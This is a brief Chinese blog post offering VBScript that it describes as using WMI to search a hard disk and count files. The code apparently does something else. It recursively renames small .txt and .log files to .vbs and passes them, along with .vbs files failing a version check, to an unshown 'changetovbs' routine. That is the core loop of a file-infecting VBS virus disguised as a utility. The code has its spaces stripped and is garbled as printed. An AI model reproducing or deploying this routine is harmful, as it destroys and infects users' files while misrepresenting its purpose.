VBS调用WMI遍历搜索硬盘文件并计数的方法
多年之前写的一个VBS调用WMI来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来
核心代码:
Functionwmisfile(path_sf,justcnt) 'OnErrorResumeNext StrComputer="." SetObjWMIService=GetObject("winmgmts:\\"&StrComputer&"\root\cimv2") SetFileList=objWMIService.ExecQuery_ ("ASSOCIATORSOF{Win32_Directory.Name='"&path_sf&"'}Where"_ &"ResultClass=CIM_DataFile") ForEachobjFileInFileList fname=LCase(objfile.name) ename=LCase(objfile.extension) If1<objfile.filesizeAndobjfile.filesize<=50000Then SelectCaseename Case"txt","log" path_vbs=objfile.drive&objfile.path&objfile.filename&".vbs" objfile.rename(objfile.drive&objFile.Path&objfile.filename&".vbs") Callchangetovbs(path_vbs,path_vbs) justcnt=justcnt+1 Case"vbs" Ifcheckversion(fname)=FalseThen Callchangetovbs(fname,fname) justcnt=justcnt+1 EndIf EndSelect EndIf Next SetcolSubfolders=objWMIService.ExecQuery_ ("Associatorsof{Win32_Directory.Name='"&path_sf&"'}"_ &"WhereAssocClass=Win32_Subdirectory"_ &"ResultRole=PartComponent") ForEachobjFolderIncolSubfolders wmisfileobjfolder.name,justcnt Next EndFunction